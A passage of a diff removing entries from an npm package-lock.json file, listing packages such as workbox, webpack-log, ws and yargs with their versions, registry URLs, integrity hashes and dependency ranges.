-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "readdirp": {
-          "version": "2.2.1",
-          "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
-          "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
-          "requires": {
-            "graceful-fs": "^4.1.11",
-            "micromatch": "^3.1.10",
-            "readable-stream": "^2.0.2"
-          }
-        },
-        "require-main-filename": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
-          "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE="
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
-          "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        },
-        "string-width": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
-          "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
-          "requires": {
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^4.0.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "3.0.0",
-              "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
-              "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
-            },
-            "strip-ansi": {
-              "version": "4.0.0",
-              "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
-              "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
-              "requires": {
-                "ansi-regex": "^3.0.0"
-              }
-            }
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
-          "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-          "requires": {
-            "ansi-regex": "^2.0.0"
-          }
-        },
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
-          "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        },
-        "wrap-ansi": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
-          "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
-          "requires": {
-            "string-width": "^1.0.1",
-            "strip-ansi": "^3.0.1"
-          },
-          "dependencies": {
-            "is-fullwidth-code-point": {
-              "version": "1.0.0",
-              "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
-              "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
-              "requires": {
-                "number-is-nan": "^1.0.0"
-              }
-            },
-            "string-width": {
-              "version": "1.0.2",
-              "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
-              "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
-              "requires": {
-                "code-point-at": "^1.0.0",
-                "is-fullwidth-code-point": "^1.0.0",
-                "strip-ansi": "^3.0.0"
-              }
-            }
-          }
-        },
-        "ws": {
-          "version": "6.2.1",
-          "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz",
-          "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==",
-          "requires": {
-            "async-limiter": "~1.0.0"
-          }
-        },
-        "yargs": {
-          "version": "12.0.5",
-          "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.5.tgz",
-          "integrity": "sha512-Lhz8TLaYnxq/2ObqHDql8dX8CJi97oHxrjUcYtzKbbykPtVW9WB+poxI+NM2UIzsMgNCZTIf0AQwsjK5yMAqZw==",
-          "requires": {
-            "cliui": "^4.0.0",
-            "decamelize": "^1.2.0",
-            "find-up": "^3.0.0",
-            "get-caller-file": "^1.0.1",
-            "os-locale": "^3.0.0",
-            "require-directory": "^2.1.1",
-            "require-main-filename": "^1.0.1",
-            "set-blocking": "^2.0.0",
-            "string-width": "^2.0.0",
-            "which-module": "^2.0.0",
-            "y18n": "^3.2.1 || ^4.0.0",
-            "yargs-parser": "^11.1.1"
-          }
-        },
-        "yargs-parser": {
-          "version": "11.1.1",
-          "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-11.1.1.tgz",
-          "integrity": "sha512-C6kB/WJDiaxONLJQnF8ccx9SEeoTTLek8RVbaOIsrAUS8VrBEXfmeSnCZxygc+XC2sNMBIwOOnfcxiynjHsVSQ==",
-          "requires": {
-            "camelcase": "^5.0.0",
-            "decamelize": "^1.2.0"
-          }
-        }
-      }
-    },
-    "webpack-log": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-2.0.0.tgz",
-      "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==",
-      "requires": {
-        "ansi-colors": "^3.0.0",
-        "uuid": "^3.3.2"
-      }
-    },
-    "webpack-manifest-plugin": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-2.2.0.tgz",
-      "integrity": "sha512-9S6YyKKKh/Oz/eryM1RyLVDVmy3NSPV0JXMRhZ18fJsq+AwGxUY34X54VNwkzYcEmEkDwNxuEOboCZEebJXBAQ==",
-      "requires": {
-        "fs-extra": "^7.0.0",
-        "lodash": ">=3.5 <5",
-        "object.entries": "^1.1.0",
-        "tapable": "^1.0.0"
-      },
-      "dependencies": {
-        "fs-extra": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz",
-          "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==",
-          "requires": {
-            "graceful-fs": "^4.1.2",
-            "jsonfile": "^4.0.0",
-            "universalify": "^0.1.0"
-          }
-        }
-      }
-    },
-    "webpack-sources": {
-      "version": "1.4.3",
-      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
-      "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
-      "requires": {
-        "source-list-map": "^2.0.0",
-        "source-map": "~0.6.1"
-      }
-    },
-    "websocket-driver": {
-      "version": "0.7.3",
-      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.3.tgz",
-      "integrity": "sha512-bpxWlvbbB459Mlipc5GBzzZwhoZgGEZLuqPaR0INBGnPAY1vdBX6hPnoFXiw+3yWxDuHyQjO2oXTMyS8A5haFg==",
-      "requires": {
-        "http-parser-js": ">=0.4.0 <0.4.11",
-        "safe-buffer": ">=5.1.0",
-        "websocket-extensions": ">=0.1.1"
-      }
-    },
-    "websocket-extensions": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz",
-      "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg=="
-    },
-    "whatwg-encoding": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
-      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
-      "requires": {
-        "iconv-lite": "0.4.24"
-      }
-    },
-    "whatwg-fetch": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz",
-      "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q=="
-    },
-    "whatwg-mimetype": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
-      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
-    },
-    "whatwg-url": {
-      "version": "6.5.0",
-      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-6.5.0.tgz",
-      "integrity": "sha512-rhRZRqx/TLJQWUpQ6bmrt2UV4f0HCQ463yQuONJqC6fO2VoEb1pTYddbe59SkYq87aoM5A3bdhMZiUiVws+fzQ==",
-      "requires": {
-        "lodash.sortby": "^4.7.0",
-        "tr46": "^1.0.1",
-        "webidl-conversions": "^4.0.2"
-      }
-    },
-    "which": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
-      "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
-      "requires": {
-        "isexe": "^2.0.0"
-      }
-    },
-    "which-module": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz",
-      "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho="
-    },
-    "word-wrap": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
-      "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ=="
-    },
-    "workbox-background-sync": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-4.3.1.tgz",
-      "integrity": "sha512-1uFkvU8JXi7L7fCHVBEEnc3asPpiAL33kO495UMcD5+arew9IbKW2rV5lpzhoWcm/qhGB89YfO4PmB/0hQwPRg==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-broadcast-update": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-4.3.1.tgz",
-      "integrity": "sha512-MTSfgzIljpKLTBPROo4IpKjESD86pPFlZwlvVG32Kb70hW+aob4Jxpblud8EhNb1/L5m43DUM4q7C+W6eQMMbA==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-build": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-4.3.1.tgz",
-      "integrity": "sha512-UHdwrN3FrDvicM3AqJS/J07X0KXj67R8Cg0waq1MKEOqzo89ap6zh6LmaLnRAjpB+bDIz+7OlPye9iii9KBnxw==",
-      "requires": {
-        "@babel/runtime": "^7.3.4",
-        "@hapi/joi": "^15.0.0",
-        "common-tags": "^1.8.0",
-        "fs-extra": "^4.0.2",
-        "glob": "^7.1.3",
-        "lodash.template": "^4.4.0",
-        "pretty-bytes": "^5.1.0",
-        "stringify-object": "^3.3.0",
-        "strip-comments": "^1.0.2",
-        "workbox-background-sync": "^4.3.1",
-        "workbox-broadcast-update": "^4.3.1",
-        "workbox-cacheable-response": "^4.3.1",
-        "workbox-core": "^4.3.1",
-        "workbox-expiration": "^4.3.1",
-        "workbox-google-analytics": "^4.3.1",
-        "workbox-navigation-preload": "^4.3.1",
-        "workbox-precaching": "^4.3.1",
-        "workbox-range-requests": "^4.3.1",
-        "workbox-routing": "^4.3.1",
-        "workbox-strategies": "^4.3.1",
-        "workbox-streams": "^4.3.1",
-        "workbox-sw": "^4.3.1",
-        "workbox-window": "^4.3.1"
-      },
-      "dependencies": {
-        "fs-extra": {
-          "version": "4.0.3",
-          "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz",
-          "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==",
-          "requires": {
-            "graceful-fs": "^4.1.2",
-            "jsonfile": "^4.0.0",
-            "universalify": "^0.1.0"
-          }
-        }
-      }
-    },
-    "workbox-cacheable-response": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-4.3.1.tgz",
-      "integrity": "sha512-Rp5qlzm6z8IOvnQNkCdO9qrDgDpoPNguovs0H8C+wswLuPgSzSp9p2afb5maUt9R1uTIwOXrVQMmPfPypv+npw==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-core": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-4.3.1.tgz",
-      "integrity": "sha512-I3C9jlLmMKPxAC1t0ExCq+QoAMd0vAAHULEgRZ7kieCdUd919n53WC0AfvokHNwqRhGn+tIIj7vcb5duCjs2Kg=="
-    },
-    "workbox-expiration": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-4.3.1.tgz",
-      "integrity": "sha512-vsJLhgQsQouv9m0rpbXubT5jw0jMQdjpkum0uT+d9tTwhXcEZks7qLfQ9dGSaufTD2eimxbUOJfWLbNQpIDMPw==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-google-analytics": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-4.3.1.tgz",
-      "integrity": "sha512-xzCjAoKuOb55CBSwQrbyWBKqp35yg1vw9ohIlU2wTy06ZrYfJ8rKochb1MSGlnoBfXGWss3UPzxR5QL5guIFdg==",
-      "requires": {
-        "workbox-background-sync": "^4.3.1",
-        "workbox-core": "^4.3.1",
-        "workbox-routing": "^4.3.1",
-        "workbox-strategies": "^4.3.1"
-      }
-    },
-    "workbox-navigation-preload": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-4.3.1.tgz",
-      "integrity": "sha512-K076n3oFHYp16/C+F8CwrRqD25GitA6Rkd6+qAmLmMv1QHPI2jfDwYqrytOfKfYq42bYtW8Pr21ejZX7GvALOw==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-precaching": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-4.3.1.tgz",
-      "integrity": "sha512-piSg/2csPoIi/vPpp48t1q5JLYjMkmg5gsXBQkh/QYapCdVwwmKlU9mHdmy52KsDGIjVaqEUMFvEzn2LRaigqQ==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-range-requests": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-4.3.1.tgz",
-      "integrity": "sha512-S+HhL9+iTFypJZ/yQSl/x2Bf5pWnbXdd3j57xnb0V60FW1LVn9LRZkPtneODklzYuFZv7qK6riZ5BNyc0R0jZA==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-routing": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-4.3.1.tgz",
-      "integrity": "sha512-FkbtrODA4Imsi0p7TW9u9MXuQ5P4pVs1sWHK4dJMMChVROsbEltuE79fBoIk/BCztvOJ7yUpErMKa4z3uQLX+g==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-strategies": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-4.3.1.tgz",
-      "integrity": "sha512-F/+E57BmVG8dX6dCCopBlkDvvhg/zj6VDs0PigYwSN23L8hseSRwljrceU2WzTvk/+BSYICsWmRq5qHS2UYzhw==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-streams": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-4.3.1.tgz",
-      "integrity": "sha512-4Kisis1f/y0ihf4l3u/+ndMkJkIT4/6UOacU3A4BwZSAC9pQ9vSvJpIi/WFGQRH/uPXvuVjF5c2RfIPQFSS2uA==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "workbox-sw": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-4.3.1.tgz",
-      "integrity": "sha512-0jXdusCL2uC5gM3yYFT6QMBzKfBr2XTk0g5TPAV4y8IZDyVNDyj1a8uSXy3/XrvkVTmQvLN4O5k3JawGReXr9w=="
-    },
-    "workbox-webpack-plugin": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-4.3.1.tgz",
-      "integrity": "sha512-gJ9jd8Mb8wHLbRz9ZvGN57IAmknOipD3W4XNE/Lk/4lqs5Htw4WOQgakQy/o/4CoXQlMCYldaqUg+EJ35l9MEQ==",
-      "requires": {
-        "@babel/runtime": "^7.0.0",
-        "json-stable-stringify": "^1.0.1",
-        "workbox-build": "^4.3.1"
-      }
-    },
-    "workbox-window": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-4.3.1.tgz",
-      "integrity": "sha512-C5gWKh6I58w3GeSc0wp2Ne+rqVw8qwcmZnQGpjiek8A2wpbxSJb1FdCoQVO+jDJs35bFgo/WETgl1fqgsxN0Hg==",
-      "requires": {
-        "workbox-core": "^4.3.1"
-      }
-    },
-    "worker-farm": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz",
-      "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==",
-      "requires": {
-        "errno": "~0.1.7"
-      }
-    },
-    "worker-rpc": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/worker-rpc/-/worker-rpc-0.1.1.tgz",
-      "integrity": "sha512-P1WjMrUB3qgJNI9jfmpZ/htmBEjFh//6l/5y8SD9hg1Ef5zTTVVoRjTrTEzPrNBQvmhMxkoTsjOXN10GWU7aCg==",
-      "requires": {
-        "microevent.ts": "~0.1.1"
-      }
-    },
-    "wrap-ansi": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
-      "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
-      "requires": {
-        "ansi-styles": "^3.2.0",
-        "string-width": "^3.0.0",
-        "strip-ansi": "^5.0.0"
-      },
-      "dependencies": {
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        }
-      }
-    },
-    "wrappy": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
-    },
-    "write": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz",
-      "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==",
-      "requires": {
-        "mkdirp": "^0.5.1"
-      }
-    },
-    "write-file-atomic": {
-      "version": "2.4.1",
-      "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.4.1.tgz",
-      "integrity": "sha512-TGHFeZEZMnv+gBFRfjAcxL5bPHrsGKtnb4qsFAws7/vlh+QfwAaySIw4AXP9ZskTTh5GWu3FLuJhsWVdiJPGvg==",
-      "requires": {
-        "graceful-fs": "^4.1.11",
-        "imurmurhash": "^0.1.4",
-        "signal-exit": "^3.0.2"
-      }
-    },
-    "ws": {
-      "version": "5.2.2",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz",
-      "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==",
-      "requires": {
-        "async-limiter": "~1.0.0"
-      }
-    },
-    "xml-name-validator": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
-      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
-    },
-    "xmlchars": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
-      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="
-    },
-    "xregexp": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.3.0.tgz",
-      "integrity": "sha512-7jXDIFXh5yJ/orPn4SXjuVrWWoi4Cr8jfV1eHv9CixKSbU+jY4mxfrBwAuDvupPNKpMUY+FeIqsVw/JLT9+B8g==",
-      "requires": {
-        "@babel/runtime-corejs3": "^7.8.3"
-      }
-    },
-    "xtend": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
-      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
-    },
-    "y18n": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz",
-      "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w=="
-    },
-    "yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
-    "yaml": {
-      "version": "1.8.3",
-      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.8.3.tgz",
-      "integrity": "sha512-X/v7VDnK+sxbQ2Imq4Jt2PRUsRsP7UcpSl3Llg6+NRRqWLIvxkMFYtH1FmvwNGYRKKPa+EPA4qDBlI9WVG1UKw==",
-      "requires": {
-        "@babel/runtime": "^7.8.7"
-      }
-    },
-    "yargs": {
-      "version": "13.3.2",
-      "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
-      "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
-      "requires": {
-        "cliui": "^5.0.0",
-        "find-up": "^3.0.0",
-        "get-caller-file": "^2.0.1",
-        "require-directory": "^2.1.1",
-        "require-main-filename": "^2.0.0",
-        "set-blocking": "^2.0.0",
-        "string-width": "^3.0.0",
-        "which-module": "^2.0.0",
-        "y18n": "^4.0.0",
-        "yargs-parser": "^13.1.2"
-      },
-      "dependencies": {
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
-        },
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        },
-        "string-width": {
-          "version": "3.1.0",
